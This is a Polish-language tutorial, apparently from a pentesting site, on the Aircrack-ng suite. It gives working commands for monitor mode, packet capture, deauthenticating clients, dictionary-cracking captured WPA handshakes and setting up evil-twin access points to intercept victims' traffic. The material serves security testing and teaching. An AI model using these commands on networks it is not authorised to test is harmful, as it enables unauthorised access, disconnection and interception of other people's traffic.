• Monitor Mode – w tym trybie karta sieciowa jest w stanie odbierać wszystkie pakiety, które znajdują się w jej zasięgu, nawet jeśli nie są one adresowane do adresu MAC naszego urządzenia. Nie każda karta wspiera ten tryb.

Poniżej znajdziesz podstawowe komendy, za pomocą których przełączysz swoją kartę sieciową w tryb monitorowania.

Najpierw należy sprawdzić, czy są uruchomione procesy, które zakłócają działanie naszej karty:

sudo airmon-ng check

Na powyższym zrzucie widzimy, że został znaleziony jeden proces. Wyłączymy go za pomocą poniższej komendy:

sudo airmon-ng check kill

Teraz należy sprawdzić jak nazywa się interfejs naszej karty sieciowej:

sudo iwconfig

Interfejs mojej karty sieciowej nazywa się wlan0.

Teraz już mogę włączyć tryb monitor:

sudo airmon-ng start <interface name>

• <interface name> – nazwa interfejsu Twojej karty sieciowej którą chcesz przełączyć w tryb monitorowania. U mnie interfejs nazywa się wlan0.

Ponownie wydajmy komendę iwconfig, żeby sprawdzić status naszej karty. Na poniższym zrzucie widzimy, że karta pracuje już w trybie monitor: (Mode:Monitor).

W każdej chwili możemy wyłączyć tryb monitor i przejść do standardowego trybu pracy.

Wyłączenie trybu monitor:

sudo airmon-ng stop <interface name>

• <interface name> – nazwa interfejsu karty sieciowej, w której chcesz wyłączyć tryb monitorowania (w moim przypadku jest to „wlan0mon”).

Dodatkowo należy włączyć managera sieci. Trzeba to robić każdorazowo do wyłączeniu trybu monitora:

sudo service network-manager restart

Jeśli powyższa komenda nie zadziała, spróbuj tej:

sudo systemctl restart NetworkManager

Za pomocą poniższej komendy sprawdzić status aktywnych interfejsów sieciowych (sprawdzisz, czy Twoja karta sieciowa pracuje w trybie monitorowania):

sudo airmon-ng

Możesz także ustawić domyślny kanał dla karty sieciowej po wejściu w tryb monitora:

sudo airmon-ng --channel <num>

• <num> – w tym miejscu podaj numer kanału

Airodump-ng

Za pomocą tego narzędzia możemy przechwytywać pakiety które krążą w pobliskich sieciach (nie musimy być do nich podłączeni). Oczywiście uprzednio musimy przełączyć naszą kartę sieciową w tryb monitor za pomocą Airmon-ng (patrz wyżej).

Za pomocą Airodump-ng możemy przechwycić WPA/WPA2 handshake, z którego możemy potem wydobyć hasło do atakowanej sieci WiFi za pomocą narzędzia Aircrack-ng. Jeśli do komputera podłączony jest odbiornik GPS, Airodump-ng jest w stanie rejestrować współrzędne znalezionych punktów dostępowych.

Jeśli chcesz zacząć przechwytywać pakiety wpisz w terminalu poniższą komendę. W miejscu <interface name> wpisz nazwę swojego interfejsu karty będącej w trybie monitorowania:

sudo airodump-ng <interface name>

Tak wygląda tabelka z przechwyconymi pakietami:

Poniżej objaśnienie co oznaczają poszczególne kolumny w tabelce:

• BSSID – adres MAC punktu dostępowego (AP, ang. Access Point).
• PWR – poziom sygnału. Im wartość jest większa, tym punkt dostępowy znajduje się bliżej Twojej karty sieciowej. Oczywiście zasięg w dużej mierze zależy od tego jaką antenę posiada Twoja karta sieciowa.
• Beacons – liczba pakietów komunikatów wysyłanych przez punkt dostępowy.
• #Data – liczba przechwyconych pakietów danych, w tym pakietów transmisji danych.
• #/s – liczba pakietów danych na sekundę mierzona w ciągu ostatnich 10 sekund.
• CH – numer kanału.
• MB – maksymalna prędkość obsługiwana przez punkt dostępowy. Jeśli MB = 11, dany punkt dostępowy pracuje w standardzie 802.11b, jeśli MB = 22, to 802.11b+, a do 54 to 802.11g. Wyższe wartości oznaczają standard 802.11n lub 802.11ac.
• ENC – używany algorytm szyfrowania. OPN oznacza brak szyfrowania.
• CIPHER – rodzaj klucza.
• AUTH – używany protokół uwierzytelniania.
• ESID – nazwa sieci bezprzewodowej.

Ograniczenie nasłuchiwania do jednego punktu dostępowego:

sudo airodump-ng -bssid AA:BB:CC:DD:EE:FF -c <num> <interface name>

• -bssid – adres MAC badanego punktu dostępowego.
• -c – numer kanału na którym pracuje wybrany punkt dostępowy. Można wybrać jeden kanał, np. -c 7 lub kilka kanałów -c 1, 7, 11.
• <interface name> – nazwa interfejsu naszej karty sieciowej będącej w trybie monitor.

Wyniki naszego skanowania możemy zapisać do pliku za pomocą flagi -w. W poniższym przykładzie fraza „capture” jest nazwą pliku, który zostanie utworzony.

sudo airodump-ng <interface name> -w capture

Możemy także zapisać wyniki skanowania dla wybranego punktu dostępowego:

sudo airodump-ng -bssid AA:BB:CC:DD:EE:FF -c <num> -w capture <interface name>

Wyniki skanowania są zapisywane w lokalizacji, w której uruchomiliśmy Airodump-ng. Jeśli chcesz sprawdzić swoją lokalizację, wydaj komendę:

sudo pwd

Aireplay-ng

Jest to narzędzie do wstrzykiwania pakietów i manipulowania ruchem w sieci bezprzewodowej. Obejmuje różne metody ataków. Bardzo ciekawym i przydatnym atakiem jest deautentykacja, której przyjrzymy się bliżej.

Deautentykacja polega na wysyłaniu do wybranego urządzenia oraz powiązanego z nim punktu dostępowego serii ramek deautentykacyjnych. Ramki te podszywają się pod prawdziwe pakiety, które nakazują odłączenie się urządzenia od punktu dostępowego. W rezultacie urządzenie zostaje odłączone od sieci WiFi i jest zmuszone do ponownego podłączenia się. Podczas gdy urządzenie łączy się z punktem dostępowym, my jako atakujący możemy przechwycić handshake, z którego możemy potem wyciągnąć hasło za pomocą Aircrack-ng. Deautentykacja bardzo często jest etapem pośrednim w innych rodzajach ataków.

Zanim użyjemy Aireplay-ng, musimy uprzednio przechwycić pakiety za pomocą Airodump-ng. Dzięki temu będziemy znać MAC punktu dostępowego ofiary, numer kanału na którym pracuje, a także MAC klienta, którego chcemy odłączyć.

Przykładowa komenda:

sudo aireplay-ng -0 100 -a AA:BB:CC:DD:EE:FF -c GG:HH:II:JJ:KK:LL <interface name>

• -0 – oznacza deautentykację,
• 100 – oznacza, że zostanie wysłane 100 ramek deautentykacyjnych. Oczywiście ilość ramek może być dowolna. 1 oznacza wysyłanie ramek jedna po drugiej, w sposób ciągły.
• -a AA:BB:CC:DD:EE:FF – jest to adres MAC punktu dostępowego.
• -c GG:HH:II:JJ:KK:LL – jest to adres MAC klienta, którego chcemy odłączyć od punktu dostępowego. Jeśli nie wpiszemy tego parametru, zostaną odłączeni wszyscy klienci, którzy są podłączeni do danego punktu dostępowego.
• <interface name> – nazwa interfejsu.

Aircrack-ng

Jest to główne, flagowe narzędzie omawianego pakietu. Służy do łamania kluczy szyfrowania sieci bezprzewodowych, takich jak WEP, WPA, WPA2. Wykorzystywane są do tego różne algorytmy do odzyskiwania kluczy szyfrujących. Dzięki Aircrack-ng  można uzyskać nieautoryzowany dostęp do sieci.

W pierwszej kolejności musimy przechwycić pakiety za pomocą Airodump-ng. Następnie musimy przechwycić handshake. W celu przyspieszenia ataku możemy wykorzystać deautentykację. Dzięki temu odłączymy naszą ofiarę od punktu dostępowego. Po ponownym podłączeniu przechwycimy handshake . Mając już przechwycony handshake, możemy za pomocą Aircrack-ng odzyskać klucz przy użyciu ataku słownikowego.

Przykładowa komenda łamiąca klucz WPA:

sudo aircrack-ng -w dictionary.txt -b AA:BB:CC:DD:EE:FF result.cap

• -w dictionary.txt – słownik za pomocą którego będziemy łamać handshake,
• -b AA:BB:CC:DD:EE:FF – adres MAC punktu dostępowego ofiary,
• result.cap – plik z przechwyconym handhake.

Airbase-ng

Airbase-ng to narzędzie do tworzenia fałszywych punktów dostępowych (AP). Jest to niezwykle przydatne podczas ataków typu man-in-the-middle oraz ataków socjotechnicznych. Za pomocą Airbase-ng możemy emulować istniejące punkty dostępowe (atak evil twin) lub tworzyć nowe (atak fake access point), a następnie nakłonić pobliskie urządzenia do połączenia się z naszym fałszywym punktem dostępowym. Jeśli dane urządzenie podłączy się, możemy monitorować jego ruch sieciowy, a także manipulować nim.

Jeśli chcemy emulować istniejący punkt dostępowy musimy w pierwszej kolejności zebrać informacje o danej sieci oraz podłączonych do niej klientach. Po zabraniu niezbędnych informacji możemy użyć Airbase-ng do stworzenia fałszywego puntu dostępowego, który będzie wabił do połączenia się z nim niczego nieświadomych użytkowników. W następstwie ofiary narażone są na ujawnienie poufnych informacji.

Przykładowa komenda tworząca punkt dostępowy:

sudo airbase-ng -a <AA:BB:CC:DD:EE:FF> --essid <FakeAP> --channel <#> <interface name> -z 2

• -a <AA:BB:CC:DD:EE:FF> - adres MAC fałszywego punktu,
• –essid <FakeAP> – nazwa naszej fałszywej sieci,
• –channel <#> – numer kanału dla fałszywego punktu dostępowego,
• <interface name> – nazwa naszego interfejsu,
• -z 2 – za pomocą tego parametru możemy ustalić, że nasz fałszywy punkt dostępowy korzysta z WPA2. Wartość -z 1 oznacza WPA.

Oczywiście należy pamiętać o tym, że oprócz uruchomienia naszego fałszywego punktu dostępowego, musimy także zapewnić połączenie internetowe, żeby nasza ofiara mogła  w pełni korzystać z Internetu po podłączeniu się do naszego AP.

Airgraph-ng

Za pomocą Airgraph-ng wygenerujesz w formie graficznej przechwycony ruch sieciowy. Airgraph-ng nie jest preinstalowany w pakiecie Aircrack-ng, tak więc należy go zainstalować:

sudo apt-get update -y
sudo apt-get install -y airgraph-ng

Przed użyciem Airgraph-ng musisz przechwycić pakiety i zapisać je do pliku csv lub txt.

Przełącz swoją kartę sieciową w tryb monitorowania. Następnie włącz nasłuchiwanie ruchu sieciowego za pomocą Airodump-ng. W komendzie użyj flagi -w w celu zapisania przechwyconych danych do pliku:

sudo airodump-ng -w capture <interface name>

Pamiętaj, że plik zostanie zapisany w lokalizacji w której uruchomiony został Airodump-ng.

Teraz utworzymy graficzną interpretację naszych przechwyconych danych korzystając z narzędzia Airgraph-ng:

sudo airgraph-ng -i capture.csv -o capture.png -g CAPR

• -i capture.csv – wskazujemy nasz plik csv, który utworzyliśmy za pomocą Airodump-ng,
• -o capture.png – wskazujemy nazwę dla pliku wynikowego,
• -g – typ grafu, do wyboru mamy CAPR lub CPG. CAPR pokazuje jakie urządzenia są aktualnie podłączone do punktów dostępowych. Natomiast CPG pokazuje nam które urządzenia nie są aktualnie podłączone do żadnego punktu dostępowego. Na grafie możemy zobaczyć nazwy punktów dostępowych z którymi były wcześniej połączone. 

Artykuł Aircrack-ng – narzędzie do testowania bezpieczeństwa sieci WiFi pochodzi z serwisu Pentestuj.